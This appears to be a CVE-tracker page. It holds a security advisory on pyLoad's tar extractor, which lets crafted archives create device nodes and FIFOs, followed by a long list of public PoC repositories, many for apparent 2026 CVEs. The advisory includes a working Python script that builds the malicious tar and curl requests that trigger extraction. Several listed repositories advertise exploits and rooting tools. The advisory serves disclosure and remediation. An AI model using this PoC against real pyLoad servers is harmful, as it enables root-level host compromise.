### Summary `UnTar._safe_extractall` — the hardening added for GHSA-mvwx-582f-56r7 — validates member **names** and symlink/hardlink **targets**, but never checks member **types**, and calls `tarfile.extractall` without a `filter=`. On Python < 3.14 the default extraction filter is `fully_trusted`, so a crafted tar containing device or FIFO entries makes pyLoad create them on disk. When pyLoad runs as root (the official Docker deployment), a block-device member grants raw disk access — full host compromise — reachable by any low-privileged user who can trigger archive extraction (ADD to supply an archive, STATUS to invoke `ExtractArchive.extract_package`). ### Details ```python # plugins/extractors/UnTar.py:69-79 for member in tar.getmembers(): if not is_within_directory(...) or <symlink/hardlink target checks>: # names/links only raise ArchiveError(...) tar.extractall(path, members, numeric_owner=numeric_owner) # no filter= ``` No `member.isdev()` / `ischr()` / `isblk()` / `isfifo()` check exists, and the pre-validation in `plugins/base/extractor.py:191-263` is likewise name-only. Python's tarfile only defaults to a safe filter in 3.14; supported runtimes (3.9–3.13) honor `mknod` for euid=0 and create FIFOs for any euid. ### PoC ```bash BASE=http://127.0.0.1:8100 # craft a tar with: regular marker.txt + a CHRTYPE member (major=1,minor=3) + a FIFOTYPE member python3 - <<'EOF' import tarfile, io t = tarfile.open('dev.bin','w') # name it *.bin so UnTar (content-sniffed) claims it t.addfile(tarfile.TarInfo('marker.txt'), io.BytesIO(b'MARKER')) i = tarfile.TarInfo('nulldev'); i.type = tarfile.CHRTYPE; i.devmajor=1; i.devminor=3; i.mode=0o666 t.addfile(i) f = tarfile.TarInfo('pipe'); f.type = tarfile.FIFOTYPE t.addfile(f); t.close() EOF # as a low-priv user (ADD|STATUS): add a package, place the archive in its download folder, # then trigger extraction curl -s -X POST "$BASE/api/add_package" -b ed.jar -H "X-CSRFToken: $T" \ -H 'Content-Type: application/json' -d '{"name":"poc","links":["http://x/dev.bin"],"dest":1}' curl -s -X POST "$BASE/api/service_call" -b ed.jar -H "X-CSRFToken: $T" \ -H 'Content-Type: application/json' \ -d '{"service_name":"ExtractArchive.extract_package","arguments":["<pid>"]}' ls -l <extract dir> # → crw-rw-rw- 1 root root 1, 3 nulldev (character device created) # → prw-r--r-- 1 root root pipe (FIFO created) # → -rw-r--r-- 1 root root marker.txt ``` Negative control: the same flow with a `../evil` traversal member is rejected (`ArchiveError: Attempted path traversal in archive`) and nothing is extracted — the GHSA-mvwx name filter works; the gap is member-**type**-specific. (Note: when the 7z binary is present, `.tar`-named files are claimed by SevenZip first by extension; the UnTar path is reached via non-mapped names — as above — content-sniffed containers, or when 7z is absent/fails.) ### Impact With pyLoad as root, a crafted archive can create block/character device nodes at arbitrary paths (raw disk read/write → host compromise), plant FIFOs (process hangs, IPC confusion), or set special bits; non-root deployments still get FIFOs and node entries in user-accessible trees. ### Remediation In `_safe_extractall`, reject (or skip) every member that is not a regular file, directory, or safe link — e.g. `member.isdev() or isfifo()` → `ArchiveError` — and pass `filter="data"` (Python ≥ 3.12 supports it; backport the check for older runtimes). Apply the same member-type validation in the pre-extraction validator so all extractors share it. ### References - GHSA-mvwx-582f-56r7 — the tar path-traversal fix this extends (names/links validated, member types not).
PoC: node2shell-scanner
High fidelity detection mechanism for node2shell (CVE-2026-111497)
PoC: http2shell-CVE-2026-111497
PoC for CVE-2026-111497, a buffer overflow in Google Brotli 1.0.3–1.2.0 that may cause memory corruption, data disclosure, DoS, or RCE when processing crafted compressed data.
PoC: CVE-2026-111497-Toolkit
CVE-2026-111497 – Node.js Brotli Decoder OOB Write (CVSS 9.2) | Red/Blue Team suite for unpatched Node.js 22.x, 24.x, 26.x. 2 tools: Full Exploit (patch detection, remote DoS, Brotli bomb, lab RCE), Blue Team Checker (errno differential, version fingerprint, WAF detection, reporting) Only Use Ethically Only <3
PoC: runcloud-php2shell-patch
Build script for PHP (7.2 - 8.1) binaries mitigating PHP2Shell (CVE-2026-109618, CVE-2026-109619) on RunCloud Ubuntu servers.
PoC: php2shell-scan
A deliberately limited, read-only security scanner for assessing exposure to CVE-2026-109618 (RFC 1867 multipart OOM memory corruption) and CVE-2026-109619 (stale global state use-after-free) in PHP deployments.
PoC: CVE-2026-111497
Non-invasive Python detector for CVE-2026-111497 with Brotli/Node.js version checks, JSON inventories, and CI-ready reports.
PoC: AI-Threat-Detection-PHP-CGI-Vulnerabilities
A curated, deep-dive guide to leveraging Artificial Intelligence, Machine Learning, and Large Language Models (LLMs) to detect, analyze, and neutralize advanced web application threats—with a specific focus on recent, critical PHP CGI Argument Injection vulnerabilities (such as CVE-2024-4577) and similar Remote Code Execution (RCE) breaches.
PoC: php2shell-doctor
The safe checker for the php2shell PHP RCEs (CVE-2026-109618/109619). Local, offline, vendor-backport aware.
PoC: node2shell-lab
Node2Shell (CVE-2026-111497, Node.js Brotli decoder OOB write) black-box pentest lab — crash-gated double flag, agent-calibrated. Part of the *2Shell lab series. EN/中文/日本語.
PoC: php2shell-ioc
Curated IoCs, detection engineering rules, and automated threat intel feeds for PHP2Shell (CVE-2026-109618 & CVE-2026-109619).
PoC: php2shell-toolkit
CVE-2026-109618 PHP session.upload_progress detection & authorized testing toolkit
PoC: HTTP2Shell-PoC
PoC for CVE-2026-111497 (HTTP2Shell)
PoC: cve-2024-10441-synology-rce
Writeup y PoC educativo de CVE-2024-10441 (RCE pre-auth como root en Synology DSM via synoplugind). CVE ya parcheado; uso autorizado/defensivo.
PoC: php2shell-migration
Agent Skills skill to detect, patch and verify PHP apps affected by PHP2Shell (CVE-2026-109618, CVE-2026-109619) or outdated PHP. Works with Claude Code, Codex, Copilot, Cursor, Gemini CLI, OpenCode.
PoC: php2shell
CVE-2026-109618 exploit tool — RCE via OOM ghost bucket in PHP POST parsing (CVSS 9.2)
PoC: CVE-2026-114509
Python detector for Laravel TokenGuard CVE-2026-114509 with local dependency analysis, remote authentication checks, and JSON reporting.
PoC: CVE-2026-110264
Non-invasive Python detector for CVE-2026-110264 in GitLab, featuring version checks, offline log analysis, and JSON reporting.
PoC: CVE-2026-0073
CVE-2026-0073: Android adbd TLS auth bypass PoC. Exploits a logic bug where OpenSSL's EVP_PKEY_cmp() returns -1 on key type mismatch (EC vs RSA), incorrectly evaluating to true and granting access. Includes functional Python and standalone C exploits to gain unauthenticated remote shell on Android devices with Wireless Debugging enabled.
PoC: CVE-2025-26326
CVE-2025-26326 - vulnerabilidade critica em add-ons de conexao remota do NVDA (recuperado)
PoC: CVE-2024-6387-how-to-fix
Guia de correcao e mitigacao da CVE-2024-6387 (regreSSHion / OpenSSH) (recuperado)
PoC: Cloudflare-Exploits-CVE-2026-14440-CVE-2026-3125-CVE-2025-0651
PoC e exploits para CVE-2026-14440 (Universal SSL CAA Bypass), CVE-2026-3125 (OpenNext SSRF), CVE-2025-0651 (WARP Windows Privesc) | By Gh0st-Bx1
PoC: Bigfix-PHP-Vulnerability-Scanner-Content-CVE-2026-109618-CVE-2026-109619
Bigfix PHP Vulnerability Scanner Content (CVE-2026-109618, CVE-2026-109619) for Windows, Linux and Mac.
PoC: PHP2Shell
A local Docker-based research lab for investigating PHP2Shell (CVE-2026-109618 and CVE-2026-109619), comparing PHP 8.4.26 and 8.4.27, and validating upstream security fixes and regression tests.
PoC: Galaxy-Tab-S10FE-Root
One-command ADB root for Samsung Galaxy Tab S10 FE (SM-X520, X520XXSACZH6): CVE-2026-43499 GhostLock exploit + KernelSU late-load. No bootloader unlock.
PoC: Fortinet-Exploits-CVE-2026-39808-106173-107656
PoC e Exploits completos para CVE-2026-39808 (FortiSandbox RCE), CVE-2026-106173 (FortiSIEM gRPC Path Traversal RCE) e CVE-2026-107656 (FortiSandbox Auth Bypass) - CVSS 9.6-9.8
PoC: bug-free-broccoli
CVE-2026-59248
PoC: php2shell-checker
Check PHP for PHP2Shell (CVE-2026-109618, CVE-2026-109619): fixed PHP and Ubuntu/Debian/AlmaLinux packages, plus a read-only version check script.
PoC: http2shell-checker
Check Node.js, Bun, Python Brotli and libbrotli for HTTP2Shell / Node2Shell (CVE-2026-111497): fixed versions and a read-only version check script.
PoC: CVE-2026-109618-109619-checker
CVE-2026-109618 / 109619 checker
PoC: CVE-2026-106781
CVE-2026-106781 CH341SER Driver Installer Privilege Escalation
PoC: CVE-2026-112900-PoC
Proof of Concept (PoC) demonstrating Argument Injection in Pillow's Ghostscript call (Pillow < 13.0.0) potentially leading to arbitrary command execution (RCE).
PoC: Root-My-Galaxy-S4
Root the Samsung Galaxy S4 on official firmware via CVE-2015-1805 & KNOX e-fuse stays intact
PoC: ksu-root
在 REDMI K90 Max（代号 prague / OS4.0.0.14）上，从手机端一键开一个临时 root。利用 CVE-2026-64560（posix-cpu-timers UAF）加载 KernelSU LKM，重启即失效。不需要电脑、不刷机、不解锁 Bootloader。
PoC: CVE-2026-115560
PHP session.upload_progress Enabled - CVE-2026-115560 Precondition
PoC: php2shell
php2shell(CVE-2026-109618 / CVE-2026-109619) EXP
PoC: cve-2026-98260-vivo-gki-research
Research notes: porting CVE-2026-98260 to vivo/iQOO GKI 6.6.127 (no exploit code; coordinated disclosure planned)
PoC: brotli-cve-check
Agent skill + script to scan projects for CVE-2026-111497 (Brotli), rate criticality and suggest fixes
PoC: php2shellX
Next-generation exploit orchestrator for CVE-2026-109618/619 — adds Cloudflare WAF bypass, flexible target specification (URL/host/port/path/batch), multi-format output (JSON/CSV/table), resume capability, and lab automation (Docker restart). Authored by TESTERXMA.
PoC: a12-ghostlock
One-click root for the Samsung Galaxy A12 (SM-A125F) via CVE-2026-43499 (GhostLock) - KernelSU-compatible userspace stack, grant dialog, verified root in Neo Backup / App Manager / Shizuku
PoC: o3root
Shizuku-driven CVE-2026-98260 root + KernelSU runtime LKM loader for Xiaomi yingtian / lhasa (kernel 6.18.21)
PoC: homebrew-php2shell-doctor
Homebrew tap for php2shell-doctor - the safe checker for the php2shell PHP RCEs (CVE-2026-109618/109619)
PoC: php-fpm-docker-PHP-7.4-CVE-2026-109618-109619-free
php:7.4-fpm-CVE-2026-109618-109619-free
PoC: cve-2026-25262-poc
CVE-2026-25262 (Qualcomm BootROM) deep-dive on the Black Hat Asia 2026 'A journey through Sahara' talk + read-only Sahara/EDL recon harness. GPLv3.
PoC: CVE-2026-74580
CVE-2026-74580 vhost: reset the vring metadata cache on vring reconfiguration - Exploit
PoC: log4shell-audit-4
Quarterly security briefing research notes and remediation tracking for Log4Shell (CVE-2021-44228).
PoC: CEV-2020-25213_wp-file-manger_exploit
CVE-2020-25213 - Unauthenticated RCE exploit for WP File Manager plugin (≤ 6.0) | Educational purposes only
PoC: php-vulns-discovered-23-10-2026
Patch temporanee per sistemi con versioni di PHP inferiori a 8.2.35 contro CVE-2026-109618 - CVE-2026-109619 - CVE-2026-115560
PoC: CVE-2026-109618-php56-public
Exact-build PHP 5.6 research and reproducible labs for CVE-2026-109618 and CVE-2026-109619
PoC: Compiled-CVE-2023-21752
Compiled version of Wh04m1001's exploit for iwr/wget delivery to VM.
PoC: CVE-2026-83548
CVE-2026-83548 — SonicWall SMA1000 Work Place pre-auth SSRF
PoC: CVE-2026-64849
CVE-2026-64849 — MLflow SSRF
PoC: CVE-2026-21627
CVE-2026-21627 proof of concept and exploit script
PoC: php8.1-cve-109618-109619-fix
php:8.1.34-fpm-alpine + official PHP patch for CVE-2026-109618/109619
PoC: php7.4-cve-109618-109619-fix
php:7.4.33-fpm-alpine + official PHP patch for CVE-2026-109618/109619
PoC: php2shell
Exploit & analysis for PHP2Shell (CVE-2026-109618 / CVE-2026-109619). Demonstrating memory disclosure, ASLR bypass, and RCE via session.upload_progress memory bailout dangling pointers.
PoC: php2shell-demo
🛡️ Hands-on defensive Docker lab for the October 2026 RCE week — PHP2Shell (CVE-2026-109618/619), Node.js Brotli & Next.js sharp. See the attack surface and blast radius, and learn to shut them down. No exploits.
PoC: CVE-2026-115560
CVE-2026-115560: PHP session upload-progress serialize_handler mismatch → pre-auth object injection → RCE. Check/exploit/verify scripts + Docker lab + Suricata/Sigma detection rules.
PoC: CVE-2026-86426
CVE-2026-86426 CHECK
PoC: php-radar
Detection-only exposure scanner for PHP2Shell (CVE-2026-109618/109619): finds PHP across repositories, hosts, a network perimeter, and AWS, and grades each install by version and config without triggering the bug.
PoC: spip-cve-2026
PoC for CVE-2026-72708 (blind SQLi) and CVE-2026-109378 (SSRF) in SPIP, both fixed in 4.4.18
PoC: php2shell
PHP2Shell: finding and patching affected PHP CVE-2026-109618 and CVE-2026-109619
PoC: php2shell-audit
Exposure scanner, patch verifier and threat hunter for CVE-2026-109618/9, with a cyberpunk TUI.
PoC: DFRoot
Fork of datfooldive/DFRoot (DirtyFrag CVE-2026-43284, ReSukiSU) + GitHub Actions APK build
PoC: php8-cve-109618-109619-fix
php:8.0.30-fpm-alpine + official PHP patch for CVE-2026-109618/109619
PoC: brotli-secfix
Security backport toolkit for CVE-2026-111497 on Ubuntu 24.04, featuring upstream patch verification, custom Debian package builds, and offline remediation procedures.
PoC: CVE-2026-88009-PoC
CVE-2026-88009 — Traefik forwards a rootless opaque request target that routing/forwardAuth see as '/'. Auth bypass + access-log evasion, verified v3.7.10 / v3.7.13.
PoC: CVE-2026-85595-PoC
CVE-2026-85595 — Traefik digestAuth authentication bypass (unknown username => empty HA1). Lab-verified: v3.7.10 bypass, v3.7.11 401.
PoC: CVE-2026-85168-PoC
CVE-2026-85168 — n8n Git node RCE from repo-local filter.*.clean / merge-driver config on add|commit|checkout. Verified v2.35.3 / v2.36.2.
PoC: CVE-2026-86076-PoC
CVE-2026-86076 — n8n expression sandbox escape via class-field __sanitize rebinding (backend RCE). Verified v2.37.6 (uid=node) / v2.37.7.
PoC: CVE-2026-109618-CVE-2026-109619-php2shell-
MOSTAFA JR7 - Custom security research framework targeting PHP 8.4.26 Apache Prefork RCE and ASLR bypass.
PoC: CVE-2026-111497-node2shell
CVE-2026-111497 Node2Shell — Node.js Brotli OOB Write RCE PoC (CVSS 9.2)
PoC: CVE-2026-56190-Windows-Server-2022-RDP
Unauthenticated RDP vulnerability in termsrv.dll (Windows Server 2022). Proof of Concept for heap spray, XFG bypass, Instruction Pointer control, and reliable Denial of Service (Event ID 7031).
PoC: cve-2026-111497-rce-checker
Lab-only exact-profile RCE/DoS validator for CVE-2026-111497; refuses non-loopback targets
PoC: php2shell-probe
Standalone detection probe for PHP2Shell (CVE-2026-109618 / CVE-2026-109619): passive version fingerprint by default, opt-in active crash probe via Nuclei.
PoC: portainer-cve-2026-44848-checker
Non-destructive checker for CVE-2026-44848: Portainer missing authorization on Docker plugin endpoints
PoC: php2shell
Check and patch all installed PHP versions against PHP2Shell (CVE-2026-109618, CVE-2026-109619) on Debian/Ubuntu with PHP from Surý (HestiaCP supported)
PoC: CVE-2026-38526-Exploit
my version of an exploit for Krayin CRM v2.2.x - CVE-2026-38526
PoC: cve-2026-114820-java-scan
Read-only Ansible playbook that finds Java truststores still anchoring the eMudhra and AAA roots removed for CVE-2026-114820.
PoC: php-5.4-cve-2026-php2shell-patch
Patch for old php 5.4.23 version from CVE-2026-109618 и CVE-2026-109619 vulnerabilities
PoC: CVE-2026-116012
NSA Ghidra contains a numeric truncation vulnerability in PackedDecode::skipAttribute and skipAttributeRemaining in marshal.cc.
PoC: CVE-2026-116011
A remote denial of service vulnerability in CrowCPP due to uncontrolled recursion.
PoC: project2026_20261024_php2shellcheck
One-file PHP check for the PHP2Shell fixes (CVE-2026-109618, CVE-2026-109619). No exploit, no network.
PoC: CVE-2026-109618-POC
A PHP app that ships an unpatched PHP runtime (PHP2Shell), for the Devzy scan to flag. No exploit code.
PoC: rootkit
越狱助手 · RootKit for Honor Magic9 (CVE-2026-64560 → cred 写 → 自制内核模块 → KernelSU)，Flutter + Shizuku 一键 root
PoC: php2shell-scan-revamp
A clean, modular, and extensively documented reimplementation of the Assetnote php2shell scanner for detecting CVE-2026-109618 and CVE-2026-109619 in PHP environments.
PoC: php2shell-detection-engineering-lab
Production-grade detection engineering suite (Sigma rules & Wazuh XML) and DFIR triage scripts for CVE-2026-109618 / CVE-2026-109619 (PHP2Shell).
PoC: CVE-2026-98260-BRM-AN00
CVE-2026-98260 temporary root for HONOR Win2 BRM-AN00, handed to BakaSU. No flashing.
PoC: patchferry-check
Free read-only scripts to check servers for PHP2Shell (CVE-2026-109618 / CVE-2026-109619) and PHP end-of-life versions
PoC: php2shell-php
Detect php2shell (CVE-2026-109618 / CVE-2026-109619) on remote PHP targets — behavioral multipart probes, version fallback, async CLI in PHP.
PoC: php2shell-el7-el8-rpm-fixed
Unofficial patched PHP RPMs for EL7/EL8 mitigating php2shell (CVE-2026-109618, CVE-2026-109619), including legacy Remi SCL and AppStream builds.
PoC: cve-2026-110152-chrome-ngle-rce-poc
PoC: CVE-2026-110152 Chrome ANGLE vertex-attribute translation heap buffer overflow (CVSS 9.6)
PoC: CVE-2025-5548
Proyecto de explotación.
PoC: cve-2026-109618-php2shell-poc
CVE-2026-109618 (php2shell part 1): local deterministic memory-safety PoC
PoC: php2shel
This repository contains operational information regarding the critical PHP vulnerabilities tracked by CERT-EU as CVE-2026-109618 and CVE-2026-109619. PHP is a widely used open-source server-side scripting language, so these vulnerabilities may affect a broad range of internet-facing web applications and products that embed or depend on PHP.
PoC: docker-php74-trixie
Docker Image php:7.4-fpm with security fixes for CVE-2026-109618 and CVE-2026-109619 updated to build and run on Debian Trixie
PoC: CVE-2024-45490-libexpat-poc
PoC + Docker test harness for CVE-2024-45490 (libexpat XML_ParseBuffer negative length integer handling issue)
PoC: log4shell-audit-3
Log4Shell (CVE-2021-44228) remediation tracking for the quarterly security briefing
PoC: RHYTHM-SINGH
High fidelity scanner for php2shell (CVE-2026-109618 and CVE-2026-109619)
PoC: php2shell-detection
Detection and response package for php2shell (CVE-2026-109618 / CVE-2026-109619): Suricata, Zeek, YARA, Sigma, ModSecurity rules, hunting queries, SOC triage, patch matrix. No exploit code.
PoC: el7-php71-security
Patched PHP 7.1 RPMs for CentOS 7 (Remi php-* and php71-php-*) fixing CVE-2026-109618 / CVE-2026-109619, with an installer that detects the server's PHP, upgrades it and can roll back.
Get alerted for CVEs like this
Register your stack and get notified within minutes when a matching CVE drops.
Start monitoring free